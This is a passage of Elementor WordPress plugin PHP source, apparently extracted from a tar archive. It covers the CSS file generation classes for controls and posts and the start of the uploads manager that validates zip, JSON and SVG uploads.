) { $global_values = $values['__globals__']; } if ( ! empty( $global_values[ $control_global_key ] ) ) { $global_key = $global_values[ $control_global_key ]; } if ( ! $global_key ) { $value = call_user_func( $value_callback, $control ); if ( null === $value ) { return; } } $stylesheet = $this->get_stylesheet(); $control = apply_filters( 'elementor/files/css/selectors', $control, $value ?? [], $this ); foreach ( $control['selectors'] as $selector => $css_property ) { $output_css_property = ''; if ( $global_key ) { $selector_global_value = $this->get_selector_global_value( $control, $global_key ); if ( $selector_global_value ) { $output_css_property = preg_replace( '/(:)[^;]+(;?)/', '$1' . $selector_global_value . '$2', $css_property ); } } else { try { if ( $this->unit_has_custom_selector( $control, $value ) ) { $css_property = $control['unit_selectors_dictionary'][ $value['unit'] ]; } $output_css_property = preg_replace_callback( '/{{(?:([^.}]+)\.)?([^}| ]*)(?: *\|\| *(?:([^.}]+)\.)?([^}| ]*) *)*}}/', function( $matches ) use ( $control, $value_callback, $controls_stack, $value, $css_property ) { $external_control_missing = $matches[1] && ! isset( $controls_stack[ $matches[1] ] ); $parsed_value = ''; $value = apply_filters( 'elementor/files/css/property', $value, $css_property, $matches, $control ); if ( ! $external_control_missing ) { $parsed_value = $this->parse_property_placeholder( $control, $value, $controls_stack, $value_callback, $matches[2], $matches[1] ); } if ( '' === $parsed_value ) { if ( isset( $matches[4] ) ) { $parsed_value = $matches[4]; $is_string_value = preg_match( '/^([\'"])(.*)\1$/', $parsed_value, $string_matches ); if ( $is_string_value ) { $parsed_value = $string_matches[2]; } elseif ( ! is_numeric( $parsed_value ) ) { if ( $matches[3] && ! isset( $controls_stack[ $matches[3] ] ) ) { return ''; } $parsed_value = $this->parse_property_placeholder( $control, $value, $controls_stack, $value_callback, $matches[4], $matches[3] ); } } if ( '' === $parsed_value ) { if ( $external_control_missing ) { return ''; } throw new \Exception(); } } if ( '__EMPTY__' === $parsed_value ) { $parsed_value = ''; } return $parsed_value; }, $css_property ); } catch ( \Exception $e ) { return; } } if ( ! $output_css_property ) { continue; } $device_pattern = '/^(?:\([^\)]+\)){1,2}/'; preg_match( $device_pattern, $selector, $device_rules ); $query = []; if ( $device_rules ) { $selector = preg_replace( $device_pattern, '', $selector ); preg_match_all( '/\(([^)]+)\)/', $device_rules[0], $pure_device_rules ); $pure_device_rules = $pure_device_rules[1]; foreach ( $pure_device_rules as $device_rule ) { if ( Breakpoints_Manager::BREAKPOINT_KEY_DESKTOP === $device_rule ) { continue; } $device = preg_replace( '/\+$/', '', $device_rule ); $endpoint = $device === $device_rule ? 'max' : 'min'; $query[ $endpoint ] = $device; } } $parsed_selector = str_replace( $placeholders, $replacements, $selector ); if ( ! $query && ! empty( $control['responsive'] ) ) { $query = array_intersect_key( $control['responsive'], array_flip( [ 'min', 'max' ] ) ); if ( ! empty( $query['max'] ) && Breakpoints_Manager::BREAKPOINT_KEY_DESKTOP === $query['max'] ) { unset( $query['max'] ); } } $stylesheet->add_rules( $parsed_selector, $output_css_property, $query ); } } protected function unit_has_custom_selector( $control, $value ) { return isset( $control['unit_selectors_dictionary'] ) && isset( $control['unit_selectors_dictionary'][ $value['unit'] ] ); } /** * @param array $control * @param mixed $value * @param array $controls_stack * @param callable $value_callback * @param string $placeholder * @param string $parser_control_name * * @return string */ public function parse_property_placeholder( array $control, $value, array $controls_stack, $value_callback, $placeholder, $parser_control_name = null ) { if ( $parser_control_name ) { // If both the processed control and the control name found in the placeholder are responsive if ( ! empty( $control['responsive'] ) && ! empty( $controls_stack[ $parser_control_name ]['responsive'] ) ) { $device_suffix = Controls_Manager::get_responsive_control_device_suffix( $control ); $control = $controls_stack[ $parser_control_name . $device_suffix ] ?? $controls_stack[ $parser_control_name ]; } else { $control = $controls_stack[ $parser_control_name ]; } $value = call_user_func( $value_callback, $control ); } // If the control value is empty, check for global default. `0` (integer, string) are falsy but are valid values. if ( empty( $value ) && '0' !== $value && 0 !== $value ) { $value = $this->get_control_global_default_value( $control ); } if ( Controls_Manager::FONT === $control['type'] ) { $this->add_font( $value ); } /** @var Base_Data_Control $control_obj */ $control_obj = Plugin::$instance->controls_manager->get_control( $control['type'] ); return (string) $control_obj->get_style_value( $placeholder, $value, $control ); } /** * Get the fonts. * * Retrieve the list of fonts. * * @since 1.9.0 * @access public * * @return array Fonts. */ public function get_fonts() { return $this->fonts; } /** * Get stylesheet. * * Retrieve the CSS file stylesheet instance. * * @since 1.2.0 * @access public * * @return Stylesheet The stylesheet object. */ public function get_stylesheet() { if ( ! $this->stylesheet_obj ) { $this->init_stylesheet(); } return $this->stylesheet_obj; } /** * Add controls stack style rules. * * Parse the CSS for all the elements inside any given controls stack. * * This method recursively renders the CSS for all the child elements in the stack. * * @since 1.6.0 * @access public * * @param Controls_Stack $controls_stack The controls stack. * @param array $controls Controls array. * @param array $values Values array. * @param array $placeholders Placeholders. * @param array $replacements Replacements. * @param array $all_controls All controls. */ public function add_controls_stack_style_rules( Controls_Stack $controls_stack, array $controls, array $values, array $placeholders, array $replacements, ?array $all_controls = null ) { if ( ! $all_controls ) { $all_controls = $controls_stack->get_controls(); } $parsed_dynamic_settings = $controls_stack->parse_dynamic_settings( $values, $controls ); foreach ( $controls as $control ) { if ( ! empty( $control['style_fields'] ) ) { $this->add_repeater_control_style_rules( $controls_stack, $control, $values[ $control['name'] ], $placeholders, $replacements ); } if ( ! empty( $control[ Manager::DYNAMIC_SETTING_KEY ][ $control['name'] ] ) ) { $this->add_dynamic_control_style_rules( $control, $control[ Manager::DYNAMIC_SETTING_KEY ][ $control['name'] ] ); } if ( Controls_Manager::ICONS === $control['type'] ) { $this->icons_fonts[] = $values[ $control['name'] ]['library']; } if ( ! empty( $parsed_dynamic_settings[ Manager::DYNAMIC_SETTING_KEY ][ $control['name'] ] ) ) { // Dynamic CSS should not be added to the CSS files. // Instead it's handled by \Elementor\Core\DynamicTags\Dynamic_CSS // and printed in a style tag. $should_preserve_value = isset( $control['control_type'] ) && 'content' === $control['control_type']; if ( $should_preserve_value ) { $this->preserved_dynamic_style_values[ $control['name'] ] = $parsed_dynamic_settings[ $control['name'] ]; } unset( $parsed_dynamic_settings[ $control['name'] ] ); $this->dynamic_elements_ids[] = $controls_stack->get_id(); continue; } if ( empty( $control['selectors'] ) ) { continue; } $this->add_control_style_rules( $control, $parsed_dynamic_settings, $all_controls, $placeholders, $replacements ); } } /** * Get file handle ID. * * Retrieve the file handle ID. * * @since 1.2.0 * @access protected * @abstract * * @return string CSS file handle ID. */ abstract protected function get_file_handle_id(); /** * Render CSS. * * Parse the CSS. * * @since 1.2.0 * @access protected * @abstract */ abstract protected function render_css(); protected function get_default_meta() { return array_merge( parent::get_default_meta(), [ 'fonts' => array_unique( $this->fonts ), 'icons' => array_unique( $this->icons_fonts ), 'dynamic_elements_ids' => [], 'status' => '', ] ); } /** * Get enqueue dependencies. * * Retrieve the name of the stylesheet used by `wp_enqueue_style()`. * * @since 1.2.0 * @access protected * * @return array Name of the stylesheet. */ protected function get_enqueue_dependencies() { return []; } /** * Get inline dependency. * * Retrieve the name of the stylesheet used by `wp_add_inline_style()`. * * @since 1.2.0 * @access protected * * @return string Name of the stylesheet. */ protected function get_inline_dependency() { return ''; } /** * Is update required. * * Whether the CSS requires an update. When there are new schemes or settings * updates. * * @since 1.2.0 * @access protected * * @return bool True if the CSS requires an update, False otherwise. */ protected function is_update_required() { return false; } /** * Parse CSS. * * Parsing the CSS file. * * @since 1.2.0 * @access protected */ protected function parse_content() { Performance::set_use_style_controls( true ); $initial_responsive_controls_duplication_mode = Plugin::$instance->breakpoints->get_responsive_control_duplication_mode(); Plugin::$instance->breakpoints->set_responsive_control_duplication_mode( $this->get_responsive_control_duplication_mode() ); $this->render_css(); $name = $this->get_name(); /** * Parse CSS file. * * Fires when CSS file is parsed on Elementor. * * The dynamic portion of the hook name, `$name`, refers to the CSS file name. * * @since 2.0.0 * * @param Base $this The current CSS file. */ do_action( "elementor/css-file/{$name}/parse", $this ); Plugin::$instance->breakpoints->set_responsive_control_duplication_mode( $initial_responsive_controls_duplication_mode ); Performance::set_use_style_controls( false ); return $this->get_stylesheet()->__toString(); } /** * Add control style rules. * * Register new style rules for the control. * * @since 1.6.0 * @access private * * @param array $control The control. * @param array $values Values array. * @param array $controls The controls stack. * @param array $placeholders Placeholders. * @param array $replacements Replacements. */ protected function add_control_style_rules( array $control, array $values, array $controls, array $placeholders, array $replacements ) { $this->add_control_rules( $control, $controls, function( $control ) use ( $values ) { return $this->get_style_control_value( $control, $values ); }, $placeholders, $replacements, $values ); } /** * Get Control Global Default Value * * If the control has a global default value, and the corresponding global default setting is enabled, this method * fetches and returns the global default value. Otherwise, it returns null. * * @since 3.7.0 * @access private * * @param $control * @return string|null */ private function get_control_global_default_value( $control ) { if ( empty( $control['global']['default'] ) ) { return null; } // If the control value is empty, and the control has a global default set, fetch the global value and use it. $global_enabled = false; if ( 'color' === $control['type'] ) { $global_enabled = Plugin::$instance->kits_manager->is_custom_colors_enabled(); } elseif ( isset( $control['groupType'] ) && 'typography' === $control['groupType'] ) { $global_enabled = Plugin::$instance->kits_manager->is_custom_typography_enabled(); } $value = null; // Only apply the global default if Global Colors are enabled. if ( $global_enabled ) { $value = $this->get_selector_global_value( $control, $control['global']['default'] ); } return $value; } /** * Get style control value. * * Retrieve the value of the style control for any give control and values. * * It will retrieve the control name and return the style value. * * @since 1.6.0 * @access private * * @param array $control The control. * @param array $values Values array. * * @return mixed Style control value. */ private function get_style_control_value( array $control, array $values ) { if ( ! empty( $values['__globals__'][ $control['name'] ] ) ) { // When the control itself has no global value, but it refers to another control global value return $this->get_selector_global_value( $control, $values['__globals__'][ $control['name'] ] ); } $value = isset( $values[ $control['name'] ] ) ? $values[ $control['name'] ] : $this->preserved_dynamic_style_values[ $control['name'] ] ?? null; if ( isset( $control['selectors_dictionary'][ $value ] ) ) { $value = $control['selectors_dictionary'][ $value ]; } if ( ! is_numeric( $value ) && ! is_float( $value ) && empty( $value ) ) { return null; } return $value; } /** * Init stylesheet. * * Initialize CSS file stylesheet by creating a new `Stylesheet` object and register new * breakpoints for the stylesheet. * * @since 1.2.0 * @access private */ private function init_stylesheet() { $this->stylesheet_obj = new Stylesheet(); $active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); foreach ( $active_breakpoints as $breakpoint_name => $breakpoint ) { $this->stylesheet_obj->add_device( $breakpoint_name, $breakpoint->get_value() ); } } /** * Add repeater control style rules. * * Register new style rules for the repeater control. * * @since 2.0.0 * @access private * * @param Controls_Stack $controls_stack The control stack. * @param array $repeater_control The repeater control. * @param array $repeater_values Repeater values array. * @param array $placeholders Placeholders. * @param array $replacements Replacements. */ protected function add_repeater_control_style_rules( Controls_Stack $controls_stack, array $repeater_control, array $repeater_values, array $placeholders, array $replacements ) { $placeholders = array_merge( $placeholders, [ '{{CURRENT_ITEM}}' ] ); foreach ( $repeater_control['style_fields'] as $index => $item ) { $this->add_controls_stack_style_rules( $controls_stack, $item, $repeater_values[ $index ], $placeholders, array_merge( $replacements, [ '.elementor-repeater-item-' . $repeater_values[ $index ]['_id'] ] ), $repeater_control['fields'] ); } } /** * Add dynamic control style rules. * * Register new style rules for the dynamic control. * * @since 2.0.0 * @access private * * @param array $control The control. * @param string $value The value. */ protected function add_dynamic_control_style_rules( array $control, $value ) { Plugin::$instance->dynamic_tags->parse_tags_text( $value, $control, function( $id, $name, $settings ) { $tag = Plugin::$instance->dynamic_tags->create_tag( $id, $name, $settings ); if ( ! $tag instanceof Tag ) { return; } $this->add_controls_stack_style_rules( $tag, $this->get_style_controls( $tag ), $tag->get_active_settings(), [ '{{WRAPPER}}' ], [ '#elementor-tag-' . $id ] ); } ); } private function get_selector_global_value( $control, $global_key ) { $data = Plugin::$instance->data_manager_v2->run( $global_key ); if ( empty( $data['value'] ) ) { return null; } $global_args = explode( '?id=', $global_key ); $id = $global_args[1]; if ( ! empty( $control['groupType'] ) ) { $strings_to_replace = [ $control['groupPrefix'] ]; $active_breakpoint_keys = array_keys( Plugin::$instance->breakpoints->get_active_breakpoints() ); foreach ( $active_breakpoint_keys as $breakpoint ) { $strings_to_replace[] = '_' . $breakpoint; } $property_name = str_replace( $strings_to_replace, '', $control['name'] ); // TODO: This check won't retrieve the proper answer for array values (multiple controls). if ( empty( $data['value'][ Global_Typography::TYPOGRAPHY_GROUP_PREFIX . $property_name ] ) ) { return null; } $property_name = str_replace( '_', '-', $property_name ); $value = "var( --e-global-$control[groupType]-$id-$property_name )"; if ( $control['groupPrefix'] . 'font_family' === $control['name'] ) { $default_generic_fonts = Plugin::$instance->kits_manager->get_current_settings( 'default_generic_fonts' ); if ( $default_generic_fonts ) { $value .= ", $default_generic_fonts"; } } } else { $value = "var( --e-global-$control[type]-$id )"; } return $value; } final protected function get_active_controls( Controls_Stack $controls_stack, ?array $controls = null, ?array $settings = null ) { if ( ! $controls ) { $controls = $controls_stack->get_controls(); } if ( ! $settings ) { $settings = $controls_stack->get_controls_settings(); } if ( $this->is_global_parsing_supported() ) { $settings = $this->parse_global_settings( $settings, $controls ); } $active_controls = array_reduce( array_keys( $controls ), function( $active_controls, $control_key ) use ( $controls_stack, $controls, $settings ) { $control = $controls[ $control_key ]; if ( $controls_stack->is_control_visible( $control, $settings, $controls ) ) { $active_controls[ $control_key ] = $control; } return $active_controls; }, [] ); return $active_controls; } final public function get_style_controls( Controls_Stack $controls_stack, ?array $controls = null, ?array $settings = null ) { $controls = $this->get_active_controls( $controls_stack, $controls, $settings ); $style_controls = []; foreach ( $controls as $control_name => $control ) { $control_obj = Plugin::$instance->controls_manager->get_control( $control['type'] ); if ( ! $control_obj instanceof Base_Data_Control ) { continue; } $control = array_merge( $control_obj->get_settings(), $control ); if ( $control_obj instanceof Control_Repeater ) { $style_fields = []; foreach ( $controls_stack->get_settings( $control_name ) as $item ) { $style_fields[] = $this->get_style_controls( $controls_stack, $control['fields'], $item ); } $control['style_fields'] = $style_fields; } if ( ! empty( $control['selectors'] ) || ! empty( $control['dynamic'] ) || $this->is_global_control( $controls_stack, $control_name, $controls ) || ! empty( $control['style_fields'] ) ) { $style_controls[ $control_name ] = $control; } } return $style_controls; } private function parse_global_settings( array $settings, array $controls ) { foreach ( $controls as $control ) { $control_name = $control['name']; $control_obj = Plugin::$instance->controls_manager->get_control( $control['type'] ); if ( ! $control_obj instanceof Base_Data_Control ) { continue; } if ( $control_obj instanceof Control_Repeater ) { foreach ( $settings[ $control_name ] as & $field ) { $field = $this->parse_global_settings( $field, $control['fields'] ); } continue; } if ( empty( $control['global']['active'] ) ) { continue; } if ( empty( $settings['__globals__'][ $control_name ] ) ) { continue; } $settings[ $control_name ] = 'global'; } return $settings; } private function is_global_control( Controls_Stack $controls_stack, $control_name, $controls ) { $control = $controls[ $control_name ]; $control_global_key = $control_name; if ( ! empty( $control['groupType'] ) ) { $control_global_key = $control['groupPrefix'] . $control['groupType']; } if ( empty( $controls[ $control_global_key ]['global']['active'] ) ) { return false; } $globals = $controls_stack->get_settings( '__globals__' ); return ! empty( $globals[ $control_global_key ] ); } public function add_font( $font ) { if ( ! in_array( $font, $this->fonts, true ) ) { $this->fonts[] = $font; } } } css/post.php000064400000021663151564121270007046 0ustar00post_id = $post_id; parent::__construct( static::FILE_PREFIX . $post_id . '.css' ); } /** * Get CSS file name. * * Retrieve the CSS file name. * * @since 1.6.0 * @access public * * @return string CSS file name. */ public function get_name() { return 'post'; } /** * Get post ID. * * Retrieve the ID of current post. * * @since 1.2.0 * @access public * * @return int Post ID. */ public function get_post_id() { return $this->post_id; } /** * Get unique element selector. * * Retrieve the unique selector for any given element. * * @since 1.2.0 * @access public * * @param Element_Base $element The element. * * @return string Unique element selector. */ public function get_element_unique_selector( Element_Base $element ) { return '.elementor-' . $this->post_id . ' .elementor-element' . $element->get_unique_selector(); } /** * Load meta data. * * Retrieve the post CSS file meta data. * * @since 1.2.0 * @access protected * * @return array Post CSS file meta data. */ protected function load_meta() { return get_post_meta( $this->post_id, static::META_KEY, true ); } /** * Update meta data. * * Update the global CSS file meta data. * * @since 1.2.0 * @access protected * * @param array $meta New meta data. */ protected function update_meta( $meta ) { update_post_meta( $this->post_id, static::META_KEY, $meta ); } /** * Delete meta. * * Delete the file meta data. * * @since 2.1.0 * @access protected */ protected function delete_meta() { delete_post_meta( $this->post_id, static::META_KEY ); } /** * Get post data. * * Retrieve raw post data from the database. * * @since 1.9.0 * @access protected * * @return array Post data. */ protected function get_data() { $document = Plugin::$instance->documents->get( $this->post_id ); return $document ? $document->get_elements_data() : []; } /** * Render CSS. * * Parse the CSS for all the elements. * * @since 1.2.0 * @access protected */ protected function render_css() { $data = $this->get_data(); if ( ! empty( $data ) ) { foreach ( $data as $element_data ) { $element = Plugin::$instance->elements_manager->create_element_instance( $element_data ); if ( ! $element ) { continue; } $this->render_styles( $element ); } } } /** * Enqueue CSS. * * Enqueue the post CSS file in Elementor. * * This method ensures that the post was actually built with elementor before * enqueueing the post CSS file. * * @since 1.2.2 * @access public */ public function enqueue() { $document = Plugin::$instance->documents->get( $this->post_id ); if ( ! $document || ! $document->is_built_with_elementor() ) { return; } parent::enqueue(); } /** * Add controls-stack style rules. * * Parse the CSS for all the elements inside any given controls stack. * * This method recursively renders the CSS for all the child elements in the stack. * * @since 1.6.0 * @access public * * @param Controls_Stack $controls_stack The controls stack. * @param array $controls Controls array. * @param array $values Values array. * @param array $placeholders Placeholders. * @param array $replacements Replacements. * @param array $all_controls All controls. */ public function add_controls_stack_style_rules( Controls_Stack $controls_stack, array $controls, array $values, array $placeholders, array $replacements, ?array $all_controls = null ) { parent::add_controls_stack_style_rules( $controls_stack, $controls, $values, $placeholders, $replacements, $all_controls ); if ( $controls_stack instanceof Element_Base ) { foreach ( $controls_stack->get_children() as $child_element ) { $this->render_styles( $child_element ); } } } /** * Get enqueue dependencies. * * Retrieve the name of the stylesheet used by `wp_enqueue_style()`. * * @since 1.2.0 * @access protected * * @return array Name of the stylesheet. */ protected function get_enqueue_dependencies() { return [ 'elementor-frontend' ]; } /** * Get inline dependency. * * Retrieve the name of the stylesheet used by `wp_add_inline_style()`. * * @since 1.2.0 * @access protected * * @return string Name of the stylesheet. */ protected function get_inline_dependency() { return 'elementor-frontend'; } /** * Get file handle ID. * * Retrieve the handle ID for the post CSS file. * * @since 1.2.0 * @access protected * * @return string CSS file handle ID. */ protected function get_file_handle_id() { return 'elementor-post-' . $this->post_id; } /** * Render styles. * * Parse the CSS for any given element. * * @since 1.2.0 * @access protected * * @param Element_Base $element The element. */ protected function render_styles( Element_Base $element ) { /** * Before element parse CSS. * * Fires before the CSS of the element is parsed. * * @since 1.2.0 * * @param Post $this The post CSS file. * @param Element_Base $element The element. */ do_action( 'elementor/element/before_parse_css', $this, $element ); $this->render_element_global_styles( $element ); $this->render_element_styles( $element ); /** * After element parse CSS. * * Fires after the CSS of the element is parsed. * * @since 1.2.0 * * @param Post $this The post CSS file. * @param Element_Base $element The element. */ do_action( 'elementor/element/parse_css', $this, $element ); } private function render_element_styles( Element_Base $element ) { $this->add_controls_stack_style_rules( $element, $this->get_style_controls( $element, null, $element->get_parsed_dynamic_settings() ), $element->get_settings(), [ '{{ID}}', '{{WRAPPER}}' ], [ $element->get_id(), $this->get_element_unique_selector( $element ) ] ); } private function render_element_global_styles( Element_Base $element ) { if ( $this instanceof Dynamic_CSS ) { return; } /** @var Manager $module */ $kits_manager = Plugin::$instance->kits_manager; $custom_colors_enabled = $kits_manager->is_custom_colors_enabled(); $custom_typography_enabled = $kits_manager->is_custom_typography_enabled(); $controls = $element->get_controls(); $global_controls = []; $global_values['__globals__'] = []; foreach ( $controls as $control ) { $this->build_global_controls_and_values( $control, $controls, $global_controls, $global_values, $custom_colors_enabled, $custom_typography_enabled ); } foreach ( $global_controls as $control ) { $this->add_control_rules( $control, $controls, function( $control ) {}, [ '{{WRAPPER}}' ], [ '.elementor-widget-' . $element->get_name() ], $global_values ); } } private function build_global_controls_and_values( $control, $controls, &$global_controls, &$global_values, $custom_colors_enabled, $custom_typography_enabled ) { $is_color_control = 'color' === $control['type']; $is_typography_control = isset( $control['groupType'] ) && 'typography' === $control['groupType']; // If it is a color/typography control and default colors/typography are disabled, // don't add the default CSS. if ( ( $is_color_control && ! $custom_colors_enabled ) || ( $is_typography_control && ! $custom_typography_enabled ) ) { return; } $global_control = $control; // Handle group controls that don't have a default global property. if ( ! empty( $control['groupType'] ) ) { $global_control = $controls[ $control['groupPrefix'] . $control['groupType'] ]; } // If the control has a default global defined, add it to the globals array // that is used in add_control_rules. if ( ! empty( $control['global']['default'] ) ) { $global_values['__globals__'][ $control['name'] ] = $global_control['global']['default']; } if ( ! empty( $global_control['global']['default'] ) ) { $global_controls[] = $control; } } } uploads-manager.php000064400000045173151564121270010352 0ustar00 new Json(), 'zip' => new Zip(), 'svg' => new Svg(), ]; foreach ( $file_types as $file_type => $file_handler ) { $this->file_type_handlers[ $file_type ] = $file_handler; } } /** * Extract and Validate Zip * * This method accepts a $file array (which minimally should include a 'tmp_name') * * @since 3.3.0 * @access public * * @param string $file_path * @param array $allowed_file_types * @return array|\WP_Error */ public function extract_and_validate_zip( $file_path, $allowed_file_types = null ) { $result = []; /** @var Zip $zip_handler - File Type */ $zip_handler = $this->file_type_handlers['zip']; // Returns an array of file paths. $extracted = $zip_handler->extract( $file_path, $allowed_file_types ); if ( is_wp_error( $extracted ) ) { return $extracted; } // If there are no extracted file names, no files passed the extraction validation. if ( empty( $extracted['files'] ) ) { // TODO: Decide what to do if no files passed the extraction validation return new \WP_Error( 'file_error', self::INVALID_FILE_CONTENT ); } $result['extraction_directory'] = $extracted['extraction_directory']; foreach ( $extracted['files'] as $extracted_file_path ) { // Each file is an array with a 'name' (file path) property. if ( ! is_wp_error( $this->validate_file( [ 'tmp_name' => $extracted_file_path ] ) ) ) { $result['files'][] = $extracted_file_path; } } return $result; } /** * Handle Elementor Upload * * This method receives a $file array. If the received file is a Base64 string, the $file array should include a * 'fileData' property containing the string, which is decoded and has its contents stored in a temporary file. * If the $file parameter passed is a standard $file array, the 'name' and 'tmp_name' properties are used for * validation. * * The file goes through validation; if it passes validation, the file is returned. Otherwise, an error is returned. * * @since 3.3.0 * @access public * * @param array $data * @param array $allowed_file_extensions Optional. an array of file types that are allowed to pass validation for each * upload. * @return array|\WP_Error */ public function handle_elementor_upload( array $data, $allowed_file_extensions = null ) { // If $file['fileData'] is set, it signals that the passed file is a Base64 string that needs to be decoded and // saved to a temporary file. if ( isset( $data['fileData'] ) ) { $data = $this->save_base64_to_tmp_file( $data, $allowed_file_extensions ); } if ( is_wp_error( $data ) ) { return $data; } $validation_result = $this->validate_file( $data, $allowed_file_extensions ); if ( is_wp_error( $validation_result ) ) { return $validation_result; } return $data; } /** * Is Unfiltered Uploads Enabled * * @since 3.5.0 * @access public * * @return bool */ final public static function are_unfiltered_uploads_enabled() { $enabled = (bool) get_option( self::UNFILTERED_FILE_UPLOADS_KEY ) && Svg::file_sanitizer_can_run() && User::is_current_user_can_upload_json(); /** * Allow Unfiltered Files Upload. * * Determines whether to enable unfiltered file uploads. * * @since 3.0.0 * * @param bool $enabled Whether upload is enabled or not. */ $enabled = apply_filters( 'elementor/files/allow_unfiltered_upload', $enabled ); return $enabled; } /** * Handle Elementor WP Media Upload * * Runs on the 'wp_handle_upload_prefilter' filter. * * @since 3.2.0 * @access public * * @param $file * @return mixed */ public function handle_elementor_wp_media_upload( $file ) { // If it isn't a file uploaded by Elementor, we do not intervene. if ( ! $this->is_elementor_wp_media_upload() ) { return $file; } $result = $this->validate_file( $file ); if ( is_wp_error( $result ) ) { $file['error'] = $result->get_error_message(); } return $file; } /** * Get File Type Handler * * Initialize the proper file type handler according to the file extension * and assign it to the file type handlers array. * * @since 3.3.0 * @access public * * @param string|null $file_extension - file extension * @return File_Type_Base[]|File_Type_Base */ public function get_file_type_handlers( $file_extension = null ) { return self::get_items( $this->file_type_handlers, $file_extension ); } /** * Check filetype and ext * * A workaround for upload validation which relies on a PHP extension (fileinfo) * with inconsistent reporting behaviour. * ref: https://core.trac.wordpress.org/ticket/39550 * ref: https://core.trac.wordpress.org/ticket/40175 * * @since 3.5.0 * @access public * * @param $data * @param $file * @param $filename * @param $mimes * * @return mixed */ public function check_filetype_and_ext( $data, $file, $filename, $mimes ) { if ( ! empty( $data['ext'] ) && ! empty( $data['type'] ) ) { return $data; } $wp_file_type = wp_check_filetype( $filename, $mimes ); $file_type_handlers = $this->get_file_type_handlers(); if ( isset( $file_type_handlers[ $wp_file_type['ext'] ] ) ) { $file_type_handler = $file_type_handlers[ $wp_file_type['ext'] ]; $data['ext'] = $file_type_handler->get_file_extension(); $data['type'] = $file_type_handler->get_mime_type(); } return $data; } /** * Remove File Or Directory * * Directory is deleted recursively with all of its contents (subdirectories and files). * * @since 3.3.0 * @access public * * @param string $path */ public function remove_file_or_dir( $path ) { if ( is_dir( $path ) ) { $this->remove_directory_with_files( $path ); } elseif ( is_file( $path ) ) { unlink( $path ); } } /** * Create Temp File * * Create a random temporary file. * * @since 3.3.0 * @access public * * @param string $file_content * @param string $file_name * @return string|\WP_Error */ public function create_temp_file( $file_content, $file_name ) { $file_name = str_replace( ' ', '', sanitize_file_name( $file_name ) ); if ( empty( $file_name ) ) { return new \WP_Error( 'invalid_file_name', esc_html__( 'Invalid file name.', 'elementor' ) ); } $temp_filename = $this->create_unique_dir() . $file_name; /** * Temp File Path * * Allows modifying the full path of the temporary file. * * @since 3.7.0 * * @param string full path to file */ $temp_filename = apply_filters( 'elementor/files/temp-file-path', $temp_filename ); file_put_contents( $temp_filename, $file_content ); // phpcs:ignore return $temp_filename; } /** * Get Temp Directory * * Get the temporary files directory path. If the directory does not exist, this method creates it. * * @since 3.3.0 * @access public * * @return string $temp_dir */ public function get_temp_dir() { if ( ! $this->temp_dir ) { $wp_upload_dir = wp_upload_dir(); $temp_dir = implode( DIRECTORY_SEPARATOR, [ $wp_upload_dir['basedir'], 'elementor', 'tmp' ] ) . DIRECTORY_SEPARATOR; /** * Temp File Path * * Allows modifying the full path of the temporary file. * * @since 3.7.0 * * @param string temporary directory */ $this->temp_dir = apply_filters( 'elementor/files/temp-dir', $temp_dir ); if ( ! is_dir( $this->temp_dir ) ) { wp_mkdir_p( $this->temp_dir ); } } return $this->temp_dir; } /** * Create Unique Temp Dir * * Create a unique temporary directory * * @since 3.3.0 * @access public * * @return string the new directory path */ public function create_unique_dir() { $unique_dir_path = $this->get_temp_dir() . uniqid() . DIRECTORY_SEPARATOR; wp_mkdir_p( $unique_dir_path ); return $unique_dir_path; } /** * Register Ajax Actions * * Runs on the 'elementor/ajax/register_actions' hook. Receives the AJAX module as a parameter and registers * callbacks for specified action IDs. * * @since 3.5.0 * @access public * * @param Ajax $ajax */ public function register_ajax_actions( Ajax $ajax ) { $ajax->register_ajax_action( 'enable_unfiltered_files_upload', [ $this, 'enable_unfiltered_files_upload' ] ); $ajax->register_ajax_action( 'enqueue_google_fonts', [ $this, 'ajax_enqueue_google_fonts' ] ); } /** * Set Unfiltered Files Upload * * @since 3.5.0 * @access public */ public function enable_unfiltered_files_upload() { if ( ! current_user_can( 'manage_options' ) ) { return; } update_option( self::UNFILTERED_FILE_UPLOADS_KEY, 1 ); } public function ajax_enqueue_google_fonts( $data ): bool { if ( empty( $data['font_name'] ) ) { return false; } $font_type = Fonts::get_font_type( $data['font_name'] ); if ( Fonts::GOOGLE !== $font_type ) { return false; } Google_Font::enqueue( $data['font_name'] ); return true; } /** * Support Unfiltered File Uploads * * When uploading a file within Elementor, this method adds the registered * file types to WordPress' allowed mimes list. This will only happen if the user allowed unfiltered file uploads * in Elementor's settings in the admin dashboard. * * @since 3.5.0 * @access public * * @param array $allowed_mimes * @return array allowed mime types */ final public function support_unfiltered_elementor_file_uploads( $allowed_mimes ) { if ( $this->is_elementor_upload() && $this->are_unfiltered_uploads_enabled() ) { foreach ( $this->file_type_handlers as $file_type_handler ) { $allowed_mimes[ $file_type_handler->get_file_extension() ] = $file_type_handler->get_mime_type(); } } return $allowed_mimes; } /** * Set Elementor Upload State * * @since 3.5.0 * @access public * * @param $state */ public function set_elementor_upload_state( $state ) { $this->is_elementor_upload = $state; } /** * Is Elementor Upload * * This method checks if the current session includes a request to upload files made via Elementor. * * @since 3.5.0 * @access private * * @return bool */ private function is_elementor_upload() { return $this->is_elementor_upload || $this->is_elementor_media_upload() || $this->is_elementor_wp_media_upload(); } /** * Is Elementor Media Upload * * Checks whether the current request includes uploading files via Elementor which are not destined for the Media * Library. * * @since 3.5.0 * @access public * * @return bool */ public function is_elementor_media_upload() { // Sometimes `uploadTypeCaller` passed as a GET parameter when using the WP Media Library REST API, where the // whole request body is occupied by the uploaded file. return isset( $_REQUEST['uploadTypeCaller'] ) && 'elementor-media-upload' === $_REQUEST['uploadTypeCaller']; // phpcs:ignore } /** * Is Elementor WP Media Upload * * Checks whether the current request is a request to upload files into the WP Media Library via Elementor. * * @since 3.3.0 * @access private * * @return bool */ private function is_elementor_wp_media_upload() { return isset( $_REQUEST['uploadTypeCaller'] ) && 'elementor-wp-media-upload' === $_REQUEST['uploadTypeCaller']; // phpcs:ignore } /** * Add File Extension To Allowed Extensions List * * @since 3.3.0 * @access private * * @param string $file_type */ private function add_file_extension_to_allowed_extensions_list( $file_type ) { $file_handler = $this->file_type_handlers[ $file_type ]; $file_extension = $file_handler->get_file_extension(); // Only add the file extension to the list if it doesn't already exist in it. if ( ! in_array( $file_extension, $this->allowed_file_extensions, true ) ) { $this->allowed_file_extensions[] = $file_extension; } } /** * Save Base64 as File * * Saves a Base64 string as a .tmp file in Elementor's temporary files directory. * * @since 3.3.0 * @access private * * @param $file * @param array|null $allowed_file_extensions * * @return array|\WP_Error */ private function 